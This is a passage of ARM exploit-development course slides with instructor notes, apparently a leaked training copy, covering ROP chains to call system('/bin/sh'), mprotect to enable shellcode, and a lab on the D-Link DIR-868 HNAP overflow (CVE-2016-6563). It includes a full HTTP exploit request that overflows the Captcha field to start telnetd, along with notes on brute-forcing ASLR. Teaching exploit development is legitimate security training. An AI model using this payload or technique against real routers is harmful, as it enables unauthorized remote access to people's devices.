GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 53

In this example, we have an overflow, and we can control the input data that will be copied onto the stack,
overwriting the saved link register and beyond.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 53


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP - Gadgets

• How can we use these


09b91222e5d2d3d668cf8e52ec5d35ba
gadgets to accomplish our AAAA
AAAA
goal? AAAA
saved lr

micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}

g2_address pop {r1, pc}

GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 54

These 2 gadgets will allow us to accomplish our goal. They are not sequential in memory, but since we control
which addresses will be popped into pc, we can redirect execution to both of these gadgets.

Paul Erwin
Note: g1_address and g2_address would be actual 4-byte memory addresses, but we are just using
labels in this example.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

54 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP – ROP Chain (1)

• Our specially crafted stack


09b91222e5d2d3d668cf8e52ec5d35ba
overflow just before gaining AAAA
AAAA
control of execution AAAA
g1_address
SP
(r0)
(r2)
(r3)
(r4)

micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}

g2_address pop {r1, pc}


(r5)
(r7)
g2_address
(r1)
adder_address

GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 55

This is a short ROP chain. Some ROP chains can be long and complex, but ideally, you want to accomplish
the goal as quickly and as efficiently as possible.

Paul Erwin
Here we have just overflowed the buffer with our data, and the function is getting ready to return by popping
gadget1 into pc, giving us control of execution.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 55


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP – ROP Chain (2)

• g1_address gets popped off


09b91222e5d2d3d668cf8e52ec5d35ba
the stack and into the pc AAAA
AAAA
register AAAA
g1_address
SP 5 (r0)
7 (r2)
8 (r3)
Current CCCC (r4)

micede1865@wii999_com
Instruction
g1_address pop {r0, r2, r3, r4, r5, r7, pc}

g2_address pop {r1, pc}


CCCC (r5)
CCCC (r7)
g2_address
6 (r1)
adder_address

GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 56

Now the gadget1 address has been popped of the stack and the stack pointer has shifted. In the overflow, we
staged the following values on the stack. The parentheses show what registers they will be popped into.

r0 = 5 <- part of our goal


r2 = 7 <- part of our goal
Paul Erwin
After this instruction executes, the following registers will be populated.

r3 = 8 <- part of our goal


r4 = 0x43434343 (CCCC) <- don’t care
r5 = 0x43434343 (CCCC) <- don’t care
r7 = 0x43434343 (CCCC) <- don’t care
pc = gadget2

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The address for gadget2 will be popped into pc and execution will be directed there.

live

56 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP – ROP Chain (3)

• Registers set via pop


09b91222e5d2d3d668cf8e52ec5d35ba
instruction and AAAA
AAAA
g2_address gets popped AAAA
g1_address
into pc 5 (r0)
7 (r2)
8 (r3)
CCCC (r4)

micede1865@wii999_com
Current
g1_address pop {r0, r2, r3, r4, r5, r7, pc}

g2_address pop {r1, pc}


CCCC (r5)
CCCC (r7)
g2_address
Instruction SP 6 (r1)
adder_address

GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 57

Gadget1 allowed us to put some of the pieces together to reach our goal. At this point, we have populated
r0, r2, and r3 with the correct values. We just need to get a 6 into r1 and then jump to the adder
functions since all of the parameters will be populated correctly.

Paul Erwin
Also, notice that the stack pointer has been shifted down for all of the registers that got popped including the
address of gadget2 getting popped into pc. We are now ready to execute gadget2.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 57


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling adder with ROP – ROP Chain (4)

• Value (6) gets popped into


09b91222e5d2d3d668cf8e52ec5d35ba
r1 and the address of the AAAA
AAAA
adder function is popped AAAA
g1_address
into pc 5 (r0)
7 (r2)
8 (r3)
CCCC (r4)

micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}

g2_address pop {r1, pc}


CCCC (r5)
CCCC (r7)
g2_address
6 (r1)
adder_address
Current SP
Instruction GOAL: adder(r0=5, r1=6, r2=7, r3=8)

24356915 SEC661 | ARM Exploit Development 58

Gadget2 will pop a 6 into r1 and then pop the address of the adder function into pc, redirecting
execution there and accomplishing our goal. The r0-r3 values have been populated and we jump to the
adder function.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

58 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Comparison with Actual Addresses

09b91222e5d2d3d668cf8e52ec5d35ba AAAA
AAAA
0x41414141
0x41414141
AAAA 0x41414141
gadget1 pop {r0, r2, r3, r4, r5, r7, pc} g1_address 0xbefff002
(0xbefff002)
5 (r0) 0x00000005
7 (r2) 0x00000007
gadget(2) pop {r1, pc} 8 (r3) 0x00000008
(0xbefff148)
CCCC (r4) 0x43434343

micede1865@wii999_com
adder function
(0xbeefaa40)
CCCC (r5)
CCCC (r7)
g2_address
0x43434343
0x43434343
0xbefff148
6 (r1) 0x00000006
adder_address 0xbeefaa40

stack with
stack with names addresses

24356915 SEC661 | ARM Exploit Development 59

Here we show the ROP chain with some sample addresses for gadget1, gadget2, and adder.

We don’t need it in this example, but remember when jumping to THUMB addresses, always jump to the

Paul Erwin
address+1, so that the processor knows to interpret the destination address as THUMB.

Note: Null bytes are problematic when reading in strings. This example does not take this into account and is
only used as an illustration.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 59


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example 2 - Calling System with ROP

• The system function


09b91222e5d2d3d668cf8e52ec5d35ba
executes the first AAAA
AAAA
overflow
occurs

parameter as a shell AAAA


saved lr
command
attacker controls
the stack data

micede1865@wii999_com
GOAL: system(“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 60

Next, we are going to look at another example where we use ROP to call the system function to create a shell
using “/bin/sh”. To accomplish this goal, we need to get a pointer to the string “/bin/sh” in the r0
register and then call the system function.

Paul Erwin
System will execute a shell command. See ‘man system’ from a Linux terminal for more information.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

60 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP - Gadgets

• We will use the following


09b91222e5d2d3d668cf8e52ec5d35ba
gadgets to accomplish the AAAA
AAAA
goal AAAA
saved lr

GOAL: system(“/bin/sh”)

micede1865@wii999_com
mov r0, r4
add sp, #12 pop {r4, pc}
pop {r4, r5, r6, r7, pc}

24356915 SEC661 | ARM Exploit Development 61

These gadgets will allow us to accomplish the goal. There may be some more efficient gadgets in our target
process memory space but let’s work with these as an example.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 61


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP – ROP Chain (1)

• Our crafted stack overflow


09b91222e5d2d3d668cf8e52ec5d35ba
just before getting control AAAA
AAAA
of execution AAAA
gadget1
SP
binstr_addr
gadget2
BBBB
BBBB

micede1865@wii999_com
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 62

At this point we have overflowed a buffer and overwritten the saved link register with the address of
gadget1. We have staged our stack with the buffer we delivered to this vulnerable function.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

62 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP – ROP Chain (2)

• g1_address gets popped


09b91222e5d2d3d668cf8e52ec5d35ba
into pc AAAA
AAAA
AAAA
gadget1
SP binstr_addr
gadget2
BBBB
Current BBBB

micede1865@wii999_com
Instruction
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 63

After we pop gadget1 into pc (instead of the original saved lr), the SP shifts and is pointing to
binstr_addr. This is a static address pointing to “/bin/sh” found in the libc library by running
strings against the shared object file.

Paul Erwin
nemo@mako:~/labs/rop$ ldd rop_target
linux-vdso.so.1 (0xb6ffd000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xad3c5000)
/lib/ld-linux-armhf.so.3 (0xb6fd5000)
nemo@mako:~/labs/rop$ strings /lib/arm-linux-gnueabihf/libc.so.6 | grep "/bin/"
/bin/sh
/bin/csh

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 63


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP (1)

• The first gadget pops the


09b91222e5d2d3d668cf8e52ec5d35ba
address of “/bin/sh” into AAAA
AAAA
r4 and pops g2_address AAAA
gadget1
into pc binstr_addr
gadget2
SP BBBB
BBBB

micede1865@wii999_com
Current
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC

Instructions g2_address add sp, #12 r6=CCCC


pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 64

We pop a pointer to “/bin/sh” into r4 and then pop the address of gadget2 into pc. Now we are ready
to execute the 3 instructions that make up gadget2. Notice that the second instruction is not necessary to
accomplish our goal. However, we do need to move r4 into r0, since r4 holds a pointer to “/bin/sh”
and we need that in r0.
Paul Erwin
When looking for ROP gadgets, you may have to go a few instructions up (further away from pop) to get the
functionality that you need. Sometimes you need to accomplish specific things that aren’t normally found near
pop instructions and sometimes ROP gadgets aren’t as plentiful in your target’s executable memory space.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

64 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP (2)

• The address of “/bin/sh”


09b91222e5d2d3d668cf8e52ec5d35ba
will be moved (copied) AAAA
AAAA
from r4 into r0 AAAA
gadget1
binstr_addr
gadget2
SP BBBB
BBBB

micede1865@wii999_com
Current
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC

Instructions g2_address add sp, #12 r6=CCCC


pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 65

The first instruction moves r4 into r0. This is good, because we needed that to happen. No changes are made
to the SP for this instruction.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 65


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP (3)

• 12 bytes will get added to


09b91222e5d2d3d668cf8e52ec5d35ba
the sp register, moving it AAAA
AAAA
down the stack AAAA
gadget1
binstr_addr
gadget2
SP BBBB
BBBB

micede1865@wii999_com
Current
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC

Instructions g2_address add sp, #12 r6=CCCC


pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 66

The next instruction adds 12 to the stack pointer. This instruction doesn’t matter to us. It doesn’t help us with
our goal. But we do need to account for this shift. We do this by delivering 12 extra bytes (B’s) in our buffer.
The only reason we do this is to keep the correct stack alignment.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

66 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP (4)

• Registers r4-r7 will be


09b91222e5d2d3d668cf8e52ec5d35ba
populated from the stack, AAAA
AAAA
but will not be needed for AAAA
gadget1
our exploit binstr_addr
gadget2
BBBB
BBBB

micede1865@wii999_com
Current
g1_address pop {r4, pc}

mov r0, r4
SP
BBBB
r4=CCCC
r5=CCCC

Instructions g2_address add sp, #12 r6=CCCC


pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr

GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 67

After adding 12 bytes to SP, it now points to a bunch of Cs, and we are ready to execute the last instruction in
ROP gadget2. ROP gadget2 will pop values into r4-r7. We don’t really care about these values; we
were only interested in moving r4 into r0. But we still need to maintain the right alignment so that we can

Paul Erwin
control pc during this final pop instruction. When this instruction executes r4-r7 get populated with C’s
and the system address gets popped into pc.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 67


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Calling System with ROP (5)

• The address for the


09b91222e5d2d3d668cf8e52ec5d35ba
system function is popped AAAA
AAAA
into pc and executed! AAAA
gadget1
binstr_addr
gadget2
BBBB
BBBB

micede1865@wii999_com
g1_address pop {r4, pc}

mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr
Current
Instruction GOAL: system(r0=“/bin/sh”)

24356915 SEC661 | ARM Exploit Development 68

When system gets popped into pc, we already have r0 populated with the “/bin/sh” string and we
successfully accomplish our goal and start up a new shell.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

68 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Unnecessary Instructions

• Try to find gadgets close to


09b91222e5d2d3d668cf8e52ec5d35ba
returns (i.e., pop)
For example: If you control the value in
r4 and need to use this gadget to
populate r0, what would you need to
• You can’t always find the account for in the gadget below?

instruction you need just


mov r0, r4
add r3, pc

before a return
ldr r3, [r3, #0]
str r7, [r5, r3]
add sp, #12

micede1865@wii999_com
• Make sure to account for
• Changes to registers
pop {r4, r5, r6, r7, pc}

• Shifting of the stack


• Valid addresses required to
prevent access violations

24356915 SEC661 | ARM Exploit Development 69

Here is another example with some unnecessary instructions. Again, let’s say we need to move the contents of
r4 into r0. We get this with the first instruction, but we need to make it all the way down to the pop, so that
we can maintain control and pop our next gadget into pc.

Paul Erwin
We talked about having values to be popped into registers even if we don’t need them and we also already
looked at an example where sp was shifted by adding to it.

But we also need to consider instructions like this one:


str r7, [r5, r3]

Here, the processor is expecting r5+r3 to hold a valid address. If the combination of these two registers is

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
not valid, an error will occur and the process will crash. Also, since it is a str (store register) instruction, the
address must be writeable. Ideally, you wouldn’t need to use a ROP gadget as complex as this one, but if you
do, look out for little gotchas like this one that can come up due to needing to use valid addresses.

This ROP gadget was found using the following command


nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B 5 pop

54da2: 4620 mov r0, r4


54da4: 447b add r3, pc
54da6:
54da8:
681b
50ef
ldr
str
live r3, [r3, #0]
r7, [r5, r3]
54daa: b003 add sp, #12
54dac: bdf0 pop {r4, r5, r6, r7, pc}

© 2021 Hungry Hackers, LLC 69


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Mprotect

• Mprotect can be used to change the access protections


09b91222e5d2d3d668cf8e52ec5d35ba
on a region of memory

mprotect(void *addr, size_t len, int prot)

micede1865@wii999_com
addr - start address of the memory region to be modified
This parameter must be page aligned and will typically end in 0x000
len - range of memory to modify
prot - access flags to be applied
Flags are to be bitwise or’d with one another
To set Read Write Execute (RWX) protections, use 7

24356915 SEC661 | ARM Exploit Development 70

Run “man mprotect” from a linux terminal for more information.

The first parameter (addr) must be page aligned. This means the address will typically end in 0x000.

Paul Erwin
Depending on your target, this may be problematic for your exploit since it requires a null byte. If the address
is not page aligned, the call to mprotect will fail.

The definitions below are from: https://github.com/lattera/glibc/blob/master/bits/mman.h

#define PROT_NONE 0x00 /* No access. */


#define PROT_READ 0x04 /* Pages can be read. */

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
#define PROT_WRITE 0x02 /* Pages can be written. */
#define PROT_EXEC 0x01 /* Pages can be executed. */

If we combine PROT_READ, PROT_WRITE, and PROT_EXEC using a logical or, the value will be 7.
Any memory with the page protection defined as 7 will be RWX (readable, writeable, executable).

Reference:
Information on logical or and other bitwise operations
https://www.plantation-
live
productions.com/Webster/www.artofasm.com/Linux/HTML/DataRepresentation4.html

70 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Enabling Shellcode with Mprotect

• In exploit development, it is commonly used to disable


09b91222e5d2d3d668cf8e52ec5d35ba
the execute never (XN) protection
• Example:
• Shellcode is delivered to the target process in a memory region
that is not executable (i.e., the stack).
• ROP is used to call mprotect. The parameters specify that the
micede1865@wii999_com
memory region containing the shellcode will be executable.
• Execution is then redirected to the shellcode.

24356915 SEC661 | ARM Exploit Development 71

ROP is a great workaround for XN, but sometimes you may need to deliver and execute specific assembly
instructions in the form of custom shellcode. If mprotect can be called via ROP, it may be possible to
change the memory protections where the shellcode has been delivered (i.e., the stack) so that it becomes
executable memory.
Paul Erwin
For example, if the shellcode is delivered to 0xbeffeff0, a ROP goal might be: mprotect(0xbeffe000,
0x2000, 0x7)

If the call to mprotect is successful and there are no additional security protections in place, shellcode can
then be executed.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 71


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Mprotect and Null Bytes

• The first parameter (addr) must be page aligned. This


09b91222e5d2d3d668cf8e52ec5d35ba
means the address will typically end in 0x000.
• Depending on the target, this may require some workarounds to
avoid null bytes.
• The protection flag of RWX is 7, this requires
0x00000007 being placed in r2.
micede1865@wii999_com
• This may also require workarounds to avoid null bytes.

There is a mprotect challenge at the end of the ROP lab that requires these workarounds.

24356915 SEC661 | ARM Exploit Development 72

If the input of your exploit is being read in as a string, you may need to avoid null bytes (0x00). To do this,
you may need to get creative with ROP. The mprotect challenge at the end of the ROP lab is intended to be
used as a take home challenge, since it pushes the student slightly beyond the scope of this course.

Paul Erwin
Strace is useful for troubleshooting calls to mprotect. For more information on strace, run “man strace”
from a linux terminal.

# The first parameter must be page aligned. To see the page size for your system, run the following
commands.
nemo@mako:~$ getconf PAGESIZE
4096

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~$ python
...
>>> hex(4096)
'0x1000’

live

72 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 9 | ROP
Duration Time: 45 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
We don't always have the luxury of delivering shellcode and being able to jump directly to it. Today, devices
are implementing security controls that prevent user-supplied data from being executable. ROP has proven
itself over the years to be an effective workaround. By stringing together smaller bits of code (gadgets) into a
ROP chain, we can sometimes find creative ways to bypass memory protections and get us the access we
need.
OBJECTIVES PREPARATION

micede1865@wii999_com
• Finding ROP gadgets to accomplish our goal
• Locating additional memory addresses
required to accomplish our goal
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


• Adjusting stack alignment for our gadgets instructions.

Tools used: objdump, readelf, gdb

24356915 SEC661 | ARM Exploit Development 73

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 73


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 74

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

74 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

Dlink Exploit
09b91222e5d2d3d668cf8e52ec5d35ba
The Dlink exploit requires a couple of ROP gadgets in order to execute our payload.
Emulation is done similar to the Netgear router, and the web interface is accessible
from the hammerhead vm. Being able to debug allows us to step through the memory
micede1865@wii999_com
corruption as we overwrite the saved link register and gain control of execution. The
actual Dlink router runs ASLR, but since crashing a child process does not disrupt our
connectivity, we can send the exploit in rapid succession and brute force the target
until we successfully land our exploit.

24356915 SEC661 | ARM Exploit Development 75

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 75


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink DIR 868 – CVE-2016-6563

• Discovered by Pedro Ribeiro


09b91222e5d2d3d668cf8e52ec5d35ba
• Stack-based buffer overflow in Home Network
Administration Protocol (HNAP)
• A MIPS version of this router is also affected
• Disclosed 11/2016
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 76

The Dlink exploit we are going to look at next was also discovered by Pedro Ribeiro. It was disclosed in
November 2016 and leverages a stack-based buffer overflow in the hnap protocol. Hnap, or Home
Network Administration Protocol, is a proprietary SOAP-based protocol that dates back to 2007 and is similar

Paul Erwin
to upnpd. There is also a MIPS variant for this router that is also affected by this vulnerability.

Reference:
https://www.zerodayinitiative.com/blog/2020/9/30/the-anatomy-of-a-bug-door-dissecting-two-d-link-router-
authentication-bypasses

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

76 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink Emulation

09b91222e5d2d3d668cf8e52ec5d35ba squashfs root


/proc
/sys
kernel filesystem
/dev/null

loadnvram /etc/init.d/rcS
wlg_wds_mode=1
dogfish vm wl_radius_port=1812
linux system
(armv7) wlan_acl_dev24=

micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on
gui_check_enable=1
hd_idle_period=1800
web services
wlan_acl_dev25= and other
pci/2/1/rxgains5gh=5
l2tp_user_passwd= applications
wla_ssid_2=NET-Guest
wl_mbss_skipctf=1

dlink emulation

Hammerhead virtual machine

24356915 SEC661 | ARM Exploit Development 77

The Dlink router is emulated the same as the Netgear router with some slight differences in the startup script.
The Dlink router kicks off execution by running /etc/init.d/rcS instead of /sbin/preinit like we
saw in the Netgear script. The startup process is as follows.

-
-
Paul Erwin
Chroot into the Dlink’s root filesystem that was extracted from the firmware update
Mount the special file systems /proc and /sys and create /dev/null
- Load the nvram using LD_PRELOAD and a text file containing the configuration settings
- Start the Linux boot process by running the /etc/init.d/rcS script

When we start rcS, the web services will eventually start up. Some of the scripts in /etc/init.d/ had
to be removed for the Dlink emulated router to boot. But these scripts were not required for the target web

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
services.

Both routers can be emulated at once, but it is recommended to only run one at a time in order to maximize
resources for the lab environment.

live

© 2021 Hungry Hackers, LLC 77


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink DIR-868 – Security Controls

• XN protection – stack is not executable


09b91222e5d2d3d668cf8e52ec5d35ba
• ASLR is enabled

# uname -a
Linux dlinkrouter 2.6.36.4brcmarm+ #1 SMP Sun Apr 19
15:24:40 CST 2015 armv7l GNU/Linux

micede1865@wii999_com
ASLR is off in the
emulated environment

24356915 SEC661 | ARM Exploit Development 78

The Dlink router has ASLR enabled. XN (execute never) is enabled for the stack, so it is not executable.

In our emulated environment, ASLR is turned off. However, the actual router can be successfully exploited

Paul Erwin
even with ASLR enabled. By brute forcing the base address of libc and sending the exploit multiple times
we can eventually have success.

There is a Metasploit module that proves out the effectiveness of the brute force technique.

Also, the payload for the original Metasploit module was not working with the Dlink router due to an issue
where the downloaded binary was not executing.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
https://www.rapid7.com/db/modules/exploit/linux/http/dlink_hnap_login_bof/
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb

live

78 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink Overflow

09b91222e5d2d3d668cf8e52ec5d35ba
POST /HNAP1/ HTTP/1.1
Host: 192.168.2.22
Content-Length: 1510
Content-Type: text/html
SOAPAction: http://purenetworks.com/HNAP1/Login
Overflow when parsing
the <Captcha> parameter
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>

micede1865@wii999_com
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿÿÿCCCCCCC
CCCCCCCCCCCCCý¶¸ìû¶/usr/sbin/telnetd&</Captcha>
</Login></soap:Body></soap:Envelope>

24356915 SEC661 | ARM Exploit Development 79

This output shows a request that will overflow the buffer in the vulnerable function. It has been formatted
slightly to fit the screen. We need over 1024 bytes in the Captcha parameter and the rest of the information is
required for reachability. It is also worth noting that the same vulnerable function is used to parse the Action,

Paul Erwin
Username, and LoginPassword fields. Because of this, the exploit can be delivered in these fields as well.

At the end of our A’s, we see some C’s and we see some other strange characters. This is because the output
being printed to the screen contains some non-ASCII characters that don’t get displayed properly. Part of that
is a small ROP chain followed by a command. Let’s take a look at this in more detail.

Reference:
See the ~/labs/dlink/exploit.py file in the hammerhead vm to see how this request gets created.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 79


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Vulnerable Function at 0x18e2c

char * parseSoapParameter_00018e2c(char *input, char *tag_name, char *dest)

09b91222e5d2d3d668cf8e52ec5d35ba
{
char buffer [1024];
...
destination 2

sprintf(start_tag,"<%s>",tag_name);
1 R1 = “Captcha”

